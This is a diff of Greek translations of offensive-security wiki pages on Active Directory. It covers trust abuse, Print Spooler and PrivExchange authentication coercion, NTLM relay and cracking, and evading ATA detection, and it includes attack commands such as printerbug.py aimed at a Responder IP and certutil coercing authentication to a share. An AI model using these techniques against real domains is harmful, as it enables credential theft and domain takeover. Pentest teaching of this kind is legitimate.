5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**.
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2.
### Διάφορες εμπιστοσύνες
Είναι σημαντικό να σημειωθεί ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλον, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**.
@ -528,28 +528,28 @@ laps.md
- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
- **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
- **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας.
- **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [συμβατές με RFC4120](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα βασισμένα σε Kerberos εκτός του οικοσυστήματος Windows.
- **MIT Εμπιστοσύνες**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι MIT εμπιστοσύνες είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows.
#### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης**
- Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**.
- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο).
- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλον) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλον).
### Διαδρομή Επίθεσης
1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης
2. Ελέγξτε αν οποιοσδήποτε **ασφαλής φορέας** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω καταχωρήσεων ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή.
3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταβούν** μέσω τομέων.
3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταπηδήσουν** μέσω τομέων.
Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε έναν άλλο τομέα μέσω τριών κύριων μηχανισμών:
- **Τοπική Συμμετοχή Ομάδας**: Οι φορείς μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή.
- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι φορείς μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι φορείς μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή.
- **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή.
- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή.
### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα
```
@ -606,7 +606,7 @@ sid-history-injection.md
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Περισσότερες λεπτομέρειες σχετικά με αυτό μπορείτε να διαβάσετε στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional
```powershell
@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
Σε αυτό το σενάριο **το domain σας είναι αξιόπιστο** από ένα εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω σε αυτό. Θα χρειαστεί να βρείτε **ποιοι φορείς του domain σας έχουν ποια πρόσβαση στο εξωτερικό domain** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε:
Σε αυτό το σενάριο **το τομέα σας είναι αξιόπιστος** από έναν εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω του. Θα χρειαστεί να βρείτε **ποιοι φορείς του τομέα σας έχουν ποια πρόσβαση στον εξωτερικό τομέα** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Εξωτερικό Δάσος Domain - Μονοκατεύθυνση (Εξαγωγή)
### Εξωτερικός Δασικός Τομέας - Μονοκατεύθυνση (Εξαγωγή)
```powershell
Get-DomainTrust -Domain current.local
@ -654,17 +654,17 @@ external-forest-domain-one-way-outbound.md
rdp-sessions-abuse.md
{{#endref}}
### Mitigation of Domain Trust Abuse
### Μείωση κατάχρησης εμπιστοσύνης domain
### **SID Filtering:**
### **Φιλτράρισμα SID:**
- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το SID history attribute σε διασυνδέσεις δασών μειώνεται με το SID Filtering, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
- Ωστόσο, υπάρχει μια παγίδα: η φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το χαρακτηριστικό ιστορικό SID σε διασυνδέσεις δασών μειώνεται με το Φιλτράρισμα SID, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
- Ωστόσο, υπάρχει μια παγίδα: το φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
### **Selective Authentication:**
### **Επιλεκτική Αυθεντικοποίηση:**
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Selective Authentication διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες ώστε να έχουν πρόσβαση σε domains και διακομιστές εντός του εμπιστευμένου domain ή δάσους.
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
[**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -676,17 +676,17 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
## Ορισμένες Γενικές Άμυνες
[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα credentials εδώ.**](../stealing-credentials/credentials-protections.md)\\
[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα διαπιστευτήρια εδώ.**](../stealing-credentials/credentials-protections.md)
### **Αμυντικά Μέτρα για την Προστασία των Credentials**
### **Αμυντικά Μέτρα για την Προστασία Διαπιστευτηρίων**
- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια.
- **Περιορισμός Χρόνου Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Περιορισμοί Διαχειριστών Domain**: Συνιστάται οι Διαχειριστές Domain να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Διαχειριστή Domain (DA) για να διατηρείται η ασφάλεια.
- **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Εφαρμογή Τεχνικών Απάτης**
- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges.
- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Εμπιστευμένοι για Αντιπροσώπευση. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges.
- Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Περισσότερα σχετικά με την ανάπτυξη τεχνικών απάτης μπορείτε να βρείτε στο [Deploy-Deception στο GitHub](https://github.com/samratashok/Deploy-Deception).
@ -698,9 +698,9 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Παράκαμψη Συστήματος Ανίχνευσης**
- **Παράκαμψη Ανίχνευσης Microsoft ATA**:
- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για να αποφευχθεί η ανίχνευση από το ATA.
- **Εκμετάλλευση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM.
- **DCSync Επιθέσεις**: Συνιστάται η εκτέλεση από μη Domain Controller για να αποφευχθεί η ανίχνευση από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις.
- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για την αποφυγή ανίχνευσης από το ATA.
- **Μίμηση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM.
- **Επιθέσεις DCSync**: Συνιστάται η εκτέλεση από μη Domain Controller για την αποφυγή ανίχνευσης από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις.
## Αναφορές

View File

@ -4,16 +4,16 @@
## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **remote authentication triggers** που έχουν κωδικοποιηθεί σε C# χρησιμοποιώντας τον MIDL compiler για να αποφευχθούν οι εξαρτήσεις από τρίτους.
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **αυτοματοποιητές απομακρυσμένης πιστοποίησης** κωδικοποιημένοι σε C# χρησιμοποιώντας τον μεταγλωττιστή MIDL για να αποφευχθούν οι εξαρτήσεις από τρίτους.
## Spooler Service Abuse
Εάν η _**Print Spooler**_ υπηρεσία είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές AD διαπιστεύσεις για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\
Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την _**Print Spooler**_ υπηρεσία να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον υπολογιστή λογαριασμό** σε αυτή την αυθεντικοποίηση.
Εάν η υπηρεσία _**Print Spooler**_ είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές διαπιστεύσεις AD για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\
Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **πιστοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την υπηρεσία _**Print Spooler**_ να πιστοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον λογαριασμό υπολογιστή** σε αυτή την πιστοποίηση.
### Finding Windows Servers on the domain
Χρησιμοποιώντας το PowerShell, αποκτήστε μια λίστα με Windows συστήματα. Οι διακομιστές είναι συνήθως προτεραιότητα, οπότε ας επικεντρωθούμε εκεί:
Χρησιμοποιώντας το PowerShell, αποκτήστε μια λίστα με Windows υπολογιστές. Οι διακομιστές είναι συνήθως προτεραιότητα, οπότε ας επικεντρωθούμε εκεί:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
@ -41,9 +41,9 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Συνδυασμός με Απεριόριστη Αντιπροσώπευση
Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτήν την υποδοχή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)).
Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτήν τη συσκευή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)).
## RCP Force authentication
## RCP Εξαναγκασμός πιστοποίησης
{{#ref}}
https://github.com/p0dalirius/Coercer
@ -51,13 +51,13 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει υποδοχή μέσω HTTP.
Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να εξαναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει έναν διακομιστή μέσω HTTP.
Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και έχει υπερβολικά προνόμια (συγκεκριμένα, έχει **WriteDacl privileges στο domain πριν από την Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών στο LDAP και στη συνέχεια να εξαγάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση στο LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλες υποδοχές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Domain Admin με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα.
Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και της έχουν δοθεί υπερβολικά δικαιώματα (συγκεκριμένα, έχει **WriteDacl δικαιώματα στον τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών στο LDAP και στη συνέχεια να εξάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση στο LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλους διακομιστές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα.
## Μέσα στα Windows
Εάν είστε ήδη μέσα στη μηχανή Windows, μπορείτε να αναγκάσετε τα Windows να συνδεθούν σε έναν διακομιστή χρησιμοποιώντας προνομιακούς λογαριασμούς με:
Εάν είστε ήδη μέσα στη μηχανή Windows, μπορείτε να εξαναγκάσετε τα Windows να συνδεθούν σε έναν διακομιστή χρησιμοποιώντας προνομιακούς λογαριασμούς με:
### Defender MpCmdRun
```bash
@ -105,6 +105,6 @@ certutil.exe -syncwithWU \\127.0.0.1\share
## Cracking NTLMv1
Αν μπορείτε να συλλάβετε [NTLMv1 challenges διαβάστε εδώ πώς να τα σπάσετε](../ntlm/index.html#ntlmv1-attack).\
&#xNAN;_&#x52;θυμηθείτε ότι για να σπάσετε το NTLMv1 πρέπει να ορίσετε την πρόκληση του Responder σε "1122334455667788"_
_&#x52;emember ότι για να σπάσετε το NTLMv1 πρέπει να ορίσετε την πρόκληση του Responder σε "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -19,7 +19,7 @@
- Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP".
- Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`.
## LM, NTLMv1 and NTLMv2
## LM, NTLMv1 και NTLMv2
Μπορείτε να ελέγξετε και να διαμορφώσετε ποιο πρωτόκολλο θα χρησιμοποιηθεί:
@ -63,7 +63,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
Το **μήκος της πρόκλησης είναι 8 bytes** και η **απάντηση είναι 24 bytes**.
